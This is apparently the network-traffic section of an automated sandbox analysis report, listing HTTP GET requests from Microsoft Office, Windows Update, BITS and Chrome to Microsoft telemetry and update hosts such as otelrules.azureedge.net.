Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7BHvlzT3bUKzeVl&MD=fdcx8Vnk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
